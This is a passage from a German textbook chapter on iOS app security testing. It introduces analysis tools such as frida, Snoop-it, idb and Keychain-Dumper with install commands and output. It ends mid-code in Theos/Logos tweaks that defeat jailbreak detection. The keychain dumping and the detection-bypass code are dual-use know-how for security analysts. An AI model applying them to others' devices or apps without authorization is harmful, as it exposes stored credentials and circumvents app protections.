sind und im weiteren Verlauf des Kapitels immer wieder auftauchen werden.<br />

Zu diesen Tools gehören – neben den in Kapitel 5 bereits erwähnten Tools – unter<br />

anderem: otool, Snoop-it und frida.


138 6 Sicherheitsprobleme bei iOS-Applikationen<br />

6.1.1 otool<br />

otool ist vom Funktionsumfang sehr ähnlich zu dem in Abschnitt 5.2.4 beschriebenen<br />

Tool class-dump, weist allerdings beim Anzeigen der Informationen einige<br />

Nachteile auf, da class-dump deutlich einfacher lesbare Ausgaben erzeugt. Der<br />

Vorteil liegt jedoch wieder mal im Detail versteckt: otool bietet einige wichtige<br />

zusätzliche Funktionen, wie z. B. das Auslesen der verwendeten Bibliotheken<br />

einer Applikation (siehe dazu Codebeispiel 6–1):<br />

$: otool -L Test.app/Test<br />

Test.app/Test:<br />

/System/Library/Frameworks/QuartzCore.framework/QuartzCore (<br />

compatibility version 1.2.0, current version 1.8.0)<br />

/System/Library/Frameworks/CoreGraphics.framework/CoreGraphics (<br />

compatibility version 64.0.0, current version 600.0.0)<br />

/System/Library/Frameworks/CFNetwork.framework/CFNetwork (<br />

compatibility version 1.0.0, current version 609.1.4)<br />

/System/Library/Frameworks/UIKit.framework/UIKit (compatibility<br />

version 1.0.0, current version 2380.17.0)<br />

/System/Library/Frameworks/Foundation.framework/Foundation (<br />

compatibility version 300.0.0, current version 993.0.0)<br />

/usr/lib/libobjc.A.dylib (compatibility version 1.0.0, current<br />

version 228.0.0)<br />

/usr/lib/libSystem.B.dylib (compatibility version 1.0.0, current<br />

version 173.8.0)<br />

/System/Library/Frameworks/CoreFoundation.framework/CoreFoundation (<br />

compatibility version 150.0.0, current version 793.0.0)<br />

Codebeispiel 6–1: Auslesen der verwendeten Bibliotheken mittels otool<br />

Diese Ausgabe kann sehr hilfreich sein, um veraltete oder anfällige Third-Party-<br />

Bibliotheken zu erkennen.<br />

6.1.2 Snoop-it<br />

Snoop-it1 verwendet Library Injection und API Hooking zur Laufzeit, um seine<br />

Funktionalität in die gewünschte Applikation einzubringen. Beim Start der<br />

Applikation wird diese durch das Einschleusen einer Bibliothek nachträglich um<br />

Analyse- und Überwachungsfunktionen erweitert. Während der Ausführung der<br />

zu überwachenden Applikation werden im Hintergrund zentrale sicherheits- und<br />

privatsphärerelevante Vorgänge aufgezeichnet und ein Webserver gestartet, der<br />

die Interaktion vom Analyserechner aus zulässt. Dieser Webserver stellt eine<br />

1 Snoop-it: https://code.google.com/archive/p/snoop-it/


6.1 Wichtige Tools und Helfer 139<br />

Abb. 6–1: Webinterface von Snoop-it mit geladener Notes-Applikation<br />

XML-RPC-Schnittstelle zur Verfügung, über die in Echtzeit auf die aufgezeichneten<br />

Ergebnisse und die Analysefunktionen zugegriffen werden kann. Zur einfachen<br />

Bedienung wird von dem Webserver zusätzlich eine webbasierte Benutzeroberfläche<br />

bereitgestellt (siehe Abbildung 6–1).<br />

Snoop-it stellt eine eigene Applikation zur Verfügung, die aus dem Cydia-<br />

Repository2 heruntergeladen werden kann. In dieser Applikation ist es möglich,<br />

grundlegende Settings wie z. B. URL und Port, aber auch die zu überwachende<br />

Applikation festzulegen. Hier können auch Settings verändert werden, die sich<br />

auf das Umgehen des Certificate Pinning (siehe hierzu Abschnitt 9.2.3) und der<br />

Jailbreak-Detektion spezialisieren.<br />

Wichtige Funktionen von Snoop-it, die wir im weiteren Verlauf dieses Kapitels<br />

immer wieder antreffen werden, sind u. a.:<br />

■<br />

■<br />

■<br />

■<br />

■<br />

Aufzeichnung von Dateisystemzugriffen inkl. der verwendeten NSFile-<br />

Protection-Klasse<br />

Zugriffe auf die Keychain inkl. der verwendeten kSecAttr-Klasse<br />

Zugriffe auf sensible und privatsphärerelevante APIs<br />

Verwendung der Crypto-APIs<br />

Die Möglichkeit zur Manipulation von Gerätedaten wie z. B. der GPS-Daten<br />

Zum Zeitpunkt der Veröffentlichung des Buches war Snoop-it leider nur in der<br />

Lage, 32-Bit-Applikationen zu untersuchen. Dies bedeutet, man benötigt ein älteres<br />

iOS-Endgerät (wie z. B. das iPhone 5C), um mit Snoop-it ohne Probleme<br />

arbeiten zu können. Hat man ein solches Gerät jedoch zur Hand, lohnt sich die<br />

Verwendung von Snoop-it auf jeden Fall, da es sehr viele wichtige Informationen<br />

direkt ausgibt und damit für den Analysten sehr hilfreich ist.<br />

2 Snoop-it Cydia-Repository: http://repo.nesolabs.de/


140 6 Sicherheitsprobleme bei iOS-Applikationen<br />

6.1.3 idb<br />

idb3 ist ähnlich wie Snoop-it ein Werkzeug, das dem Analysten einiges an Arbeit<br />

bei der Analyse von iOS-Applikationen abnimmt und Ergebnisse in eine grafische<br />

Oberfläche packt. Im Gegensatz zu Snoop-it, wo der Analyst lediglich auf dem<br />

Smartphone eine Komponente installieren muss, ist bei idb der wesentliche Teil<br />

auf dem Analyserechner zu installieren.<br />

Hierzu ist es nötig, dass wir die in Codebeispiel 6–2 gezeigten Schritte auf<br />

unserem Analyserechner mit Mac OS X ausführen.<br />

# Installation der nötigen Pakete<br />

$: brew install qt cmake usbmuxd libimobiledevice<br />

# Installation von idb als Ruby-Paket<br />

$: sudo gem install idb<br />

Codebeispiel 6–2: Installation von idb auf Mac OS X<br />

Nach der erfolgreichen Installation können wir das Tool starten, in dem wir einfach<br />

unser Test-Smartphone mit dem Analyserechner per USB verbinden und<br />

auf der Kommandozeile den Befehl idb eintippen. Anschließend öffnet sich ein<br />

Fenster, in dem wir das Smartphone auswählen, auf welchem wir eine Applikation<br />

analysieren möchten. Im nun folgenden Fenster wird geprüft, ob auf dem<br />

Endgerät alle erforderlichen Pakete installiert sind, die idb benötigt (siehe Abbildung<br />

6–2). Sollten noch wichtige Pakete fehlen, so können diese direkt über<br />

dieses Fenster nachinstalliert werden.<br />

Abb. 6–2: Gerätestatus in idb<br />

3 idb: http://www.idbtool.com/


6.1 Wichtige Tools und Helfer 141<br />

Abb. 6–3: Übersicht einer analysierten Applikation in idb<br />

Im zweiten Schritt müssen wir nun noch die zu analysierende Applikation auswählen.<br />

Haben wir dies alles durchgeführt, bekommen wir eine erste Übersicht<br />

der Applikation angezeigt (siehe Abbildung 6–3).<br />

Wie auch Snoop-it bietet idb wichtige Funktionen, die wir im weiteren Verlauf<br />

dieses Kapitels immer wieder sehen und verwenden werden. Dazu gehören<br />

u. a.:<br />

■<br />

■<br />

■<br />

■<br />

■<br />

■<br />

■<br />

Aufzeichnung von Dateisystemzugriffen inkl. der verwendeten NSFile-<br />

Protection-Klasse<br />

Zugriffe auf die Keychain inkl. der verwendeten kSecAttr-Klasse<br />

Binary-Analysen wie z. B. Prüfen, ob das Binary verschlüsselt ist oder ob<br />

Techniken wie ASLR, DEP oder ARC implementiert sind<br />

Strings aus der Applikation extrahieren<br />

URL-Handlers auflisten<br />

Die Zwischenablage überwachen<br />

Nach Snapshots der Applikation suchen<br />

6.1.4 frida<br />

frida4 ist ähnlich wie cycript ein Tool zur Laufzeitmanipulation von iOS-Applikationen.<br />

Dabei unterstützt frida sowohl das Hooken von Funktionsaufrufen wie<br />

4 frida: http://www.frida.re/


142 6 Sicherheitsprobleme bei iOS-Applikationen<br />

auch deren Manipulation mittels JavaScript und ist dabei noch automatisierbar<br />

mithilfe selbst erstellter Skripte.<br />

Bei der Installation von frida auf Mac OS X El Capitan gibt es eine Besonderheit:<br />

Durch die neu eingeführten Schutzmechanismen des Betriebssystems ist<br />

es nicht mehr möglich, frida ganz herkömmlich zu installieren, da das System<br />

hierbei eine Python-Bibliothek updaten möchte, die vom System selbst geschützt<br />

wird. Die Installation muss daher mit dem -ignore-installed-Zusatz erfolgen wie<br />

in Codebeispiel 6–3 gezeigt:<br />

$: sudo pip install frida --ignore-installed<br />

Collecting frida<br />

Downloading frida-6.0.12.zip<br />

Collecting colorama>=0.2.7 (from frida)<br />

Downloading colorama-0.3.5-py2.py3-none-any.whl<br />

Collecting prompt-toolkit==0.38 (from frida)<br />

Downloading prompt_toolkit-0.38-py2-none-any.whl (154kB)<br />

100% |????????????????????????????????| 155kB 3.0MB/s<br />

Collecting pygments>=2.0.2 (from frida)<br />

Downloading Pygments-2.0.2-py2-none-any.whl (672kB)<br />

100% |????????????????????????????????| 675kB 607kB/s<br />

Collecting wcwidth (from prompt-toolkit==0.38->frida)<br />

Downloading wcwidth-0.1.5-py2.py3-none-any.whl<br />

Collecting six>=1.8.0 (from prompt-toolkit==0.38->frida)<br />

Downloading six-1.10.0-py2.py3-none-any.whl<br />

Installing collected packages: colorama, pygments, wcwidth, six, prompttoolkit,<br />

frida<br />

Running setup.py install for frida<br />

Successfully installed colorama-0.3.5 frida-6.0.12 prompt-toolkit-0.38<br />

pygments-2.0.2 six-1.4.1 wcwidth-0.1.5<br />

Codebeispiel 6–3: Installation von frida auf Mac OS X El Capitan<br />

Im Anschluss müssen auf dem iOS-Endgerät noch die zugehörigen Komponenten<br />

installiert werden, damit das mobile Endgerät auch mit dem Analyserechner<br />

kommunizieren und die Befehle dort umsetzen kann. Hierfür müssen wir einfach<br />

das entsprechende Cydia-Repository5 einbinden und hieraus frida installieren.<br />

Um zu testen, ob alles funktioniert, ist es am einfachsten, den in Codebeispiel<br />

6–4 gezeigten Befehl auf dem Analyserechner auszuführen.<br />

5 frida Cydia-Repository: http://build.frida.re/


6.1 Wichtige Tools und Helfer 143<br />

$: frida-ps -U<br />

PID Name<br />

--- ----------------<br />

482 Cydia<br />

369 Mail<br />

99 AppleIDAuthAgent<br />

135 BTServer<br />

259 BlueTool<br />

653 CacheDeleteAppCo<br />

655 CacheDeleteITune<br />

659 CacheDeleteSyste<br />

298 CallHistorySyncH<br />

.....<br />

Codebeispiel 6–4: Auflistung der laufenden Prozesse auf einem iOS-Endgerät mittels frida<br />

Sollten hierbei Fehlermeldungen auftreten, liegt es meist daran, dass die Version<br />

von frida auf dem Analyserechner und auf dem iOS-Endgerät nicht übereinstimmen.<br />

Dies kann mittels frida --version auf dem Analyserechner und frida-server<br />

--version auf dem iOS-Endgerät überprüft werden.<br />

Codebeispiel 6–5 zeigt einige essenzielle Befehle, die frida bereitstellt und die<br />

im weiteren Verlauf des Kapitels Anwendung finden.<br />

# Ähnlich zu dem bereits bekannten Befehl, diesmal werden jedoch nur aktuell<br />

laufende Applikationen gelistet und nicht alle laufenden Prozesse<br />

$: frida-ps -Ua<br />

# Listet alle installierten Applikationen, auch welche, die aktuell nicht<br />

ausgeführt werden<br />

$: frida-ps -Uai<br />

# Überwacht recv* und send* APIs in Safari<br />

$: frida-trace -i "recv*" -i "send*" Safari<br />

# Überwacht ObjC-Methodenaufrufe in Twitter<br />

$: frida-trace -m "-[NSView drawRect:]" Twitter<br />

# Verbinden von frida mit der laufenden Notizen-Applikation zum Manipulieren<br />

$: frida -U Notizen<br />

Codebeispiel 6–5: Essenzielle Befehle für frida


144 6 Sicherheitsprobleme bei iOS-Applikationen<br />

6.1.5 Keychain-Dumper<br />

Das Tool Keychain-Dumper6 ermöglicht es, von einem iOS-Endgerät alle Einträge<br />

in der Keychain auszulesen. Dies kann immer dann hilfreich sein, wenn man<br />

wissen will, was eine bestimmte Applikation in der Keychain ablegt und wie sie es<br />

dort ablegt. Da Keychain-Dumper die komplette Keychain einfach auf die Kommandozeile<br />

ausgibt, sollte man die Ausgabe in eine Datei umleiten, die man dann<br />

im Anschluss per SCP vom mobilen Endgerät auf den Analyserechner überträgt<br />

(siehe dazu Codebeispiel 6–6).<br />

$: ./keychain_dumper -a &> keychain.dump<br />

Codebeispiel 6–6: Umleiten der Keychain-Dumper-Ausgabe in eine Datei<br />

Keychain-Dumper besitzt neben der vollen Auflistung der Keychain auch Parameter,<br />

mit denen man die Ausgabe auf bestimmte Gruppen begrenzen kann. Dies<br />

kann dann hilfreich sein, wenn die Keychain sehr viele Einträge beinhaltet und<br />

man nur an bestimmten Gruppen – z. B. gespeicherten Zertifikaten – Interesse<br />

hat (siehe dazu Codebeispiel 6–7).<br />

Usage: keychain_dumper [-e]|[-h]|[-agnick]<br />

: Dump Password Keychain Items (Generic Password, Internet<br />

Passwords)<br />

-a: Dump All Keychain Items (Generic Passwords, Internet Passwords,<br />

Identities, Certificates, and Keys)<br />

-e: Dump Entitlements<br />

-g: Dump Generic Passwords<br />

-n: Dump Internet Passwords<br />

-i: Dump Identities<br />

-c: Dump Certificates<br />

-k: Dump Keys<br />

Codebeispiel 6–7: Keychain-Dumper-Parameter<br />

6.1.6 FileDP<br />

FileDP7 ist ein kleines, aber mächtiges Tool, das es einem Analysten erlaubt,<br />

schnell herauszufinden, welche der in Abschnitt 1.2.3 beschriebenen Schutzklassen<br />

eine Datei oder ein ganzes Unterverzeichnis einer zu untersuchenden Applikation<br />

besitzt. Diese Informationen können zwar auch mit den bereits beschriebenen<br />

Werkzeugen Snoop-it und idb dargestellt werden, doch es gibt immer wieder<br />

6 Keychain-Dumper: https://github.com/ptoomey3/Keychain-Dumper<br />

7 FileDP: http://www.securitylearn.net/wp-content/uploads/tools/iOS/FileDP.zip


6.1 Wichtige Tools und Helfer 145<br />

Momente, wo man sich nicht nur auf ein Tool verlassen sollte oder man schnell<br />

die Informationen benötigt, ohne zuvor komplexe Werkzeuge starten zu müssen.<br />

Bei der Analyse von Applikationen aus der Perspektive des Sicherheitsanalysten<br />

ist es wichtig, zu wissen, wann bei einer Datei mit sensiblem Inhalt die vom<br />

System bereitgestellten Verschlüsselungsmechanismen greifen. Hat man z. B. eine<br />

Datenbank, in der vertrauliche Kontodaten oder Projektdaten gespeichert sind,<br />

so möchte man sicher sein, dass diese Daten auch nur dann entschlüsselt vorliegen,<br />

wenn das Smartphone in den Händen des legitimen Nutzers ist. Hierfür<br />

bietet iOS die Schutzklasse NSFileProtectionComplete an.<br />

Schaut man sich nun per SSH das Dateisystem der Applikation an, so sieht<br />

man zwar, dass diese Datei vorhanden ist, aber die Schutzklasse lässt sich nicht<br />

ohne Weiteres erkennen. Um diese Metainformationen zu erhalten, übertragen<br />

wir FileDP mittels SCP auf das Smartphone, auf dem die zu untersuchende Applikation<br />

läuft, und machen es im Anschluss mittels chmod +x FileDP ausführbar.<br />

Nun verwenden wir FileDP wie in Codebeispiel 6–8 gezeigt.<br />

$: ./FileDP -d /var/mobile/Containers/Data/Application/07DF1A1E-DD3B-45D8-<br />

A55B-385FAC05C2BF<br />

2016-03-12 17:41:02.788 FileDP[1201:205901] file name is:/var/mobile/<br />

Containers/Data/Application/07DF1A1E-DD3B-45D8-A55B-385FAC05C2BF/.com.<br />

apple.mobile_container_manager.metadata.plist - protection class:<br />

NSFileProtectionNone<br />

2016-03-12 17:41:02.793 FileDP[1201:205901] file name is:/var/mobile/<br />

Containers/Data/Application/07DF1A1E-DD3B-45D8-A55B-385FAC05C2BF/<br />

Documents - protection class:(null)<br />

2016-03-12 17:41:02.793 FileDP[1201:205901] file name is:/var/mobile/<br />

Containers/Data/Application/07DF1A1E-DD3B-45D8-A55B-385FAC05C2BF/<br />

Documents/AdCache.plist - protection class:NSFileProtectionComplete<br />

2016-03-12 17:41:02.795 FileDP[1201:205901] file name is:/var/mobile/<br />

Containers/Data/Application/07DF1A1E-DD3B-45D8-A55B-385FAC05C2BF/<br />

Documents/AdManager.plist - protection class:NSFileProtectionComplete<br />

2016-03-12 17:41:02.795 FileDP[1201:205901] file name is:/var/mobile/<br />

Containers/Data/Application/07DF1A1E-DD3B-45D8-A55B-385FAC05C2BF/<br />

Documents/ClientEncryptionService.plist - protection class:<br />

NSFileProtectionComplete<br />

2016-03-12 17:41:02.797 FileDP[1201:205901] file name is:/var/mobile/<br />

Containers/Data/Application/07DF1A1E-DD3B-45D8-A55B-385FAC05C2BF/<br />

Documents/SCMediaPersistentStore - protection class:(null)<br />

2016-03-12 17:41:02.798 FileDP[1201:205901] file name is:/var/mobile/<br />

Containers/Data/Application/07DF1A1E-DD3B-45D8-A55B-385FAC05C2BF/<br />

Documents/StoryAdStreamManager.plist - protection class:<br />

NSFileProtectionComplete


146 6 Sicherheitsprobleme bei iOS-Applikationen<br />

2016-03-12 17:41:02.799 FileDP[1201:205901] file name is:/var/mobile/<br />

Containers/Data/Application/07DF1A1E-DD3B-45D8-A55B-385FAC05C2BF/<br />

Documents/adTreatment.plist - protection class:NSFileProtectionComplete<br />

2016-03-12 17:41:02.800 FileDP[1201:205901] file name is:/var/mobile/<br />

Containers/Data/Application/07DF1A1E-DD3B-45D8-A55B-385FAC05C2BF/<br />

Documents/chats.plist - protection class:NSFileProtectionComplete<br />

...<br />

Codebeispiel 6–8: Auslesen der Schutzklasse einer im iOS-Dateisystem befindlichen Datei<br />

mittels FileDP<br />

In der Ausgabe von Codebeispiel 6–8 sieht man einige der Dateien, die Snapchat<br />

verwaltet, und deren Schutzklasse. So erkennt man z. B., dass die plist-Datei<br />

mit den Informationen zu einzelnen Chats (chats.plist) die höchste Schutzklasse<br />

– NSFileProtectionComplete – besitzt und somit nur entschlüsselt auf dem Gerät<br />

vorliegt, wenn ein Nutzer den Bildschirm des Smartphones entsperrt hat.<br />

Diese Informationen werden wir im Verlauf des Kapitels immer wieder benötigen,<br />

um Einschätzungen über die Sicherheit einer gespeicherten Information<br />

treffen zu können, daher ist das Tool FileDP ein wichtiger Helfer in unserer<br />

Toolchain.<br />

6.2 Analyse der Zugriffe auf sensible Nutzerdaten<br />

Gerade im Bereich der Analyse von Applikationen zum Einsatz auf privaten oder<br />

geschäftlichen Endgeräten ist es auch unter iOS wichtig, dass man die Zugriffe<br />

auf sensible Nutzerdaten untersucht. Es gibt immer wieder Applikationen, die<br />

in den Medien genannt werden, weil sie das Adressbuch der Nutzer auf ihren<br />

Servern speichern oder persönliche Daten von den iPhones der Nutzer abziehen.<br />

Dieses Verhalten ist hierbei auch nicht auf Android alleine beschränkt, sondern es<br />

stehen, wie man am Beispiel von Apps, die heimlich Snapchat-Accounts stehlen8 ,<br />

sieht, auch immer wieder iOS-Applikationen im Verdacht, dass sie nicht so mit<br />

den Nutzerdaten umgehen, wie dies vom Nutzer gewünscht ist.<br />

Bei iOS gibt es seit mehreren Jahren schon das Feature, dass dem Nutzer<br />

angezeigt wird, welche Applikationen Zugriff auf seine sensiblen Nutzerdaten<br />

haben (siehe dazu auch Abbildung 6–4), und jede Applikation fragt bei erstmaligem<br />

Zugriff auf eine dieser Datenquellen beim Benutzer an, ob er diesen Zugriff<br />

erlaubt oder nicht. Hierdurch ist es für bösartige Entwickler deutlich schwieriger,<br />

an sensible persönliche Nutzerdaten zu gelangen, ohne dass der Nutzer dies<br />

bemerkt. Auch lassen sich solche bereits erteilten Zugriffe über die Einstellungen<br />

von iOS jederzeit widerrufen. Diese Tatsache stellt an dieser Stelle den größten<br />

8 Drittanbieter-Apps stehlen Snapchat-Accounts: http://9to5mac.com/2016/03/08/<br />

ios-apps-snapchat-harvest-credentials/


6.2 Analyse der Zugriffe auf sensible Nutzerdaten 147<br />

Abb. 6–4: Datenschutzeinstellungen in iOS<br />

Unterschied zu Android dar, wo man als Nutzer lediglich bei der Installation<br />

Hinweise darauf bekommt, auf welche Daten die Applikation unter Umständen<br />

zugreifen möchte.<br />

Solche bereits erteilten Zugriffe lassen sich über die Einstellungen von iOS<br />

jederzeit widerrufen, wie das Beispiel von Snapchat in Abbildung 6–5 zeigt. Wie<br />

auf dieser Abbildung zu sehen ist, haben wir lediglich den Zugriff auf die Kamera<br />

sowie das Senden von Mitteilungen aktiviert, Zugriff auf die Kontakte hat<br />

Snapchat hingegen nicht.<br />

Doch alleine die Tatsache, dass die Applikation auf meine Bilder zugreifen<br />

möchte, ist noch lange kein Grund zur Besorgnis. Möchte ich z. B. gerade ein<br />

Bild per Twitter teilen, dann muss die Twitter-Applikation natürlich auf das vor<br />

Tagen aufgenommene Bild in meiner Galerie zugreifen dürfen. Viel wichtiger ist<br />

jedoch, dass auch wirklich nur das eine – von mir selbst ausgewählte – Bild mein<br />

Gerät verlässt und nicht auch andere Bilder. Solches Verhalten herauszufinden<br />

und aufzudecken ist auch auf iOS eine wichtige Aufgabe des Analysten.<br />

Um mehr Informationen darüber zu bekommen, wann eine Applikation auf<br />

eine API zugreift, die verwendet werden kann, um an sensible persönliche Daten<br />

zu gelangen, setzen wir im Folgenden zuerst Snoop-it ein (siehe Abschnitt 6.1.2<br />

für weitere Details). Wenn wir in den Einstellungen von Snoop-it unsere zu analysierende<br />

Applikation auswählen und anschließend starten, hängt sich Snoop-it<br />

in die laufenden Prozesse der Applikation und zeigt uns alle API-Zugriffe an. Um


148 6 Sicherheitsprobleme bei iOS-Applikationen<br />

Abb. 6–5: Datenschutzeinstellungen von Snapchat in iOS<br />

das Ganze hier etwas anschaulicher zu demonstrieren, verwenden wir die gerade<br />

schon erwähnte Applikation Snapchat.<br />

Zugriffe auf sensible Daten bzw. deren APIs zeigt Snoop-it unter dem Abschnitt<br />

Monitoring → Sensitive API an (wie in Abbildung 6–6 zu sehen). Hier erkennen<br />

wir nun, dass Snapchat zur Laufzeit zum einen auf die Wi-Fi-Mac-Adresse<br />

des iPhones zugreift, zum anderen aber auch auf die Kamera-API.<br />

Abb. 6–6: Analyse der Zugriffe von Snapchat auf persönliche Daten mittels Snoop-it<br />

In diesem Fall ist das Verhalten korrekt, da Snapchat dem Nutzer in diesem Moment<br />

auch die Kamera anzeigt, aber das muss nicht bei allen Applikationen so<br />

sein.


6.3 iOS-Applikationen zur Laufzeit manipulieren 149<br />

6.3 iOS-Applikationen zur Laufzeit manipulieren<br />

Wie wir schon bei Android gesehen haben, ist es wichtig, Applikationen auch<br />

zur eigentlichen Laufzeit zu analysieren bzw. zu manipulieren, um vordefinierte<br />

Verhaltensmuster zu prüfen oder zu umgehen. Beispiele für solche Verhalten sind<br />

z. B. Jailbreak-Erkennung oder Passwortsperren in Applikationen.<br />

Um dies zu erreichen, können wir Tools wie das in Abschnitt 6.1.4 vorgestellte<br />

frida verwenden oder Theos und die darin enthaltene Skriptsprache Logos.<br />

Theos9 ist eine Cross-Plattform-Toolsammlung, die es uns ermöglicht, Erweiterungen<br />

– sogenannte Tweaks – für iOS-Applikationen zu schreiben, um sie<br />

dann auf einem jailbroken Endgerät auszuführen (dabei ist Theos jedoch längst<br />

nicht der einzige Weg, um diese Tweaks zu erstellen). Um Theos verwenden zu<br />

können, müssen wir die in Codebeispiel 6–9 gezeigten Schritte auf unserem Analyserechner<br />

ausführen.<br />

# Installation der nötigen Pakete<br />

$: brew install dpkg ldid<br />

# Installation von Theos selbst<br />

$: export THEOS=/opt/theos<br />

$: git clone --recursive git://github.com/theos/theos.git $THEOS<br />

# Setzen der Umgebungsvariablen für Theos<br />

$: export PATH=$THEOS/bin:$PATH<br />

$: export THEOS_DEVICE_IP=iphone.local THEOS_DEVICE_PORT=22<br />

# Nun benötigen wir nur noch die passenden Bibliotheken<br />

$: wget http://apt.saurik.com/debs/mobilesubstrate_0.9.6011_iphoneos-arm.deb<br />

$: mkdir substrate<br />

$: dpkg-deb -x mobilesubstrate_*_iphoneos-arm.deb substrate<br />

$: mv substrate/Library/Frameworks/CydiaSubstrate.framework/CydiaSubstrate<br />

$THEOS/lib/libsubstrate.dylib<br />

$: mv substrate/Library/Frameworks/CydiaSubstrate.framework/Headers/<br />

CydiaSubstrate.h $THEOS/include/substrate.h<br />

Codebeispiel 6–9: Installation von Theos unter Mac OS X<br />

Auf dem iOS-Endgerät müssen nun nur noch die passenden Gegenstücke installiert<br />

werden. Dazu müssen wir die folgenden beiden Repositories innerhalb von<br />

Cydia hinzufügen: http://coolstar.org/publicrepo und http://nix.howett.net/theos.<br />

Nachdem wir dies durchgeführt haben, müssen wir noch die folgenden Pakete<br />

über Cydia aus den neu hinzugefügten Repositories installieren:<br />

9 Theos: http://iphonedevwiki.net/index.php/Theos


150 6 Sicherheitsprobleme bei iOS-Applikationen<br />

■<br />

■<br />

■<br />

Perl<br />

Theos<br />

iOS Toolchain<br />

Hat alles funktioniert, so können wir uns per SSH auf das iOS-Endgerät verbinden<br />

und dort den Befehl echo $Theos ausführen. Als Rückgabe sollten wir den<br />

Pfad bekommen, in dem Theos installiert wurde – meist /var/theos.<br />

Um mit Theos schneller an das gewünschte Ziel zu kommen, gibt es Logos.<br />

Logos bietet eine Reihe von Befehlen, die wir nutzen können, um unsere eigenen<br />

Hooking-Skripte deutlich komfortabler erstellen zu können. Wichtige Befehle<br />

hierbei sind:<br />

%hook: Ist der Beginn eines Hookings für eine definierte Klasse innerhalb der zu<br />

analysierenden Applikation.<br />

%orig: Ruft die eigentliche Implementation der gehookten Klasse auf.<br />

%log: Schreibt die Argumente, mit denen eine gehookte Methode aufgerufen<br />

wurde, in das Systemlog.<br />

%end: Ist das Ende eines Hookings für eine definierte Klasse innerhalb der zu<br />

analysierenden Applikation.<br />

Mithilfe von Logos und Theos werden wir im folgenden Abschnitt sehen, wie<br />

man beispielsweise die Jailbreak-Erkennung einer Applikation umgehen kann.<br />

6.3.1 Umgehen der Jailbreak-Erkennung<br />

Die Erkennung eines Jailbreaks ist sehr komplex und es gibt eine Vielzahl an<br />

Möglichkeiten, zu prüfen, ob ein Gerät noch vertrauenswürdig ist oder durch<br />

einen Jailbreak modifiziert wurde. Generell hat man an dieser Stelle eine Art<br />

Katz-und-Maus-Spiel, da die Entwickler von sicheren Applikationen ständig neue<br />

Wege suchen, einen Jailbreak zu erkennen, und die Sicherheitsanalysten und Hacker<br />

versuchen, den Vorsprung so gering wie möglich sein zu lassen, sodass sie<br />

diese Applikationen auch ausführen können, wenn das System manipuliert ist.<br />

Wie auch bei Android beruhen die meisten Detektionstechniken darauf, dass<br />

nach bestimmten Dateien gesucht wird oder die Ausführung von eigentlich nicht<br />

vorhandenen Befehlen geprüft wird. Im Fall von iOS suchen die meisten Applikationen<br />

nach dem Vorhandensein von Cydia. Dieser Store befindet sich auf einem<br />

jailbroken iOS-Endgerät normalerweise unter /Applications/Cydia.app. Eine weitere<br />

Möglichkeit liegt darin, dass man versucht, den Befehl fork() auszuführen.<br />

Dieser Befehl ist normalerweise für eine Applikation nicht ausführbar bzw. seine<br />

Ausführung schlägt fehl. Sobald ein Gerät mittels Jailbreak manipuliert wurde,<br />

ändert sich das und jede Applikation kann diesen Befehl erfolgreich ausführen.<br />

Um eine solche Prüfung in einer Applikation zu finden, gehen wir ähnlich vor,<br />

wie schon beim Reversing gezeigt: Wir installieren die Applikation auf unserem<br />

Testgerät, entschlüsseln sie mithilfe von dump_decrypted und versuchen dann


6.3 iOS-Applikationen zur Laufzeit manipulieren 151<br />

mittels otool -ov auffällige Methoden- oder Klassennamen zu finden. Letzteres ist<br />

meist einfacher, als man denkt, da viele dieser Klassen oder Methoden im Namen<br />

schon deutliche Hinweise auf ihre Verwendung haben. Kommen wir hier nicht<br />

weiter, hilft leider nur das aufwendige Reversing mittels Hopper oder IDA Pro.<br />

Nehmen wir für das folgende Beispiel an, dass wir über die erwähnten Mechanismen<br />

eine Klasse mit dem Namen SecurityChecks gefunden hätten und darin<br />

eine Methode namens isDeviceJailbroken, die einen booleschen Wert (YES oder<br />

NO) zurückgibt, je nachdem, ob das Gerät jailbroken ist oder nicht.<br />

Um in diesem Beispiel dafür zu sorgen, dass eine Erkennung nicht mehr das<br />

richtige Ergebnis ausgibt, können wir mittels Theos und Logos die Applikation<br />

zur Laufzeit manipulieren. Hierzu legen wir einen neuen Tweak mithilfe von<br />

Theos an, wie in Codebeispiel 6–10 gezeigt.<br />

$: perl /var/theos/bin/nic.pl<br />

NIC 2.0 - New Instance Creator<br />

------------------------------<br />

[1.] iphone/activator_event<br />

[2.] iphone/application_modern<br />

[3.] iphone/cydget<br />

[4.] iphone/flipswitch_switch<br />

[5.] iphone/framework<br />

[6.] iphone/ios7_notification_center_widget<br />

[7.] iphone/library<br />

[8.] iphone/notification_center_widget<br />

[9.] iphone/preference_bundle_modern<br />

[10.] iphone/tool<br />

[11.] iphone/tweak<br />

[12.] iphone/xpc_service<br />

Choose a Template (required): 11<br />

Project Name (required): jbobfuscator<br />

Package Name [com.yourcompany.jbobfuscator]: de.mspreitz.jbobfuscator<br />

Author/Maintainer Name [Michael Spreitzenbarth]:<br />

[iphone/tweak] <strong>Mobile</strong>Substrate Bundle filter [com.apple.springboard]:<br />

[iphone/tweak] List of applications to terminate upon installation (spaceseparated,<br />

'-' for none) [SpringBoard]:<br />

Instantiating iphone/tweak in jbobfuscator/...<br />

Done.<br />

Codebeispiel 6–10: Erstellung eines Tweak-Templates mittels Theos<br />

Mittels nic.pl haben wir nun einen iPhone-Tweak erzeugt mit dem Namen jbobfuscator<br />

und dem Paketnamen de.mspreitz.jbobfuscator. Beachten muss man


152 6 Sicherheitsprobleme bei iOS-Applikationen<br />

hierbei noch, dass man den Bundle filter entsprechend der Applikation anpasst,<br />

die man zur Laufzeit manipulieren möchte. Im aktuellen Verzeichnis hat uns dieses<br />

Tool nun ein Template erzeugt, das wir für unsere Laufzeitmanipulation verwenden<br />

können.<br />

Da wir bereits wissen, dass der zu manipulierende Check in der Methode<br />

isDeviceJailbroken sitzt, können wir das Template – dieses liegt in der Datei<br />

Tweak.xm – nun mittels Logos wie in Codebeispiel 6–11 gezeigt anpassen.<br />

%hook SecurityChecks<br />

- (BOOL) isDeviceJailbroken {<br />

return NO;<br />

}<br />

%end<br />

Codebeispiel 6–11: Erstellung eines Tweaks mittels Logos<br />

In Codebeispiel 6–12 haben wir einen zweiten Tweak erzeugt, der beim Aufruf<br />

des Befehls fork aus einer Applikation heraus den eigentlichen Aufruf durch<br />

new_fork ersetzt und als Return-Wert immer -1 zurückgibt. Hierdurch denkt die<br />

Applikation, dass fork nicht erfolgreich ausgeführt werden konnte und das Endgerät<br />

somit vertrauenswürdig ist.<br />

#include <br />

#include <br />

static pid_t (*original_fork)(void);<br />

pid_t new_fork(void) {<br />

return -1;<br />

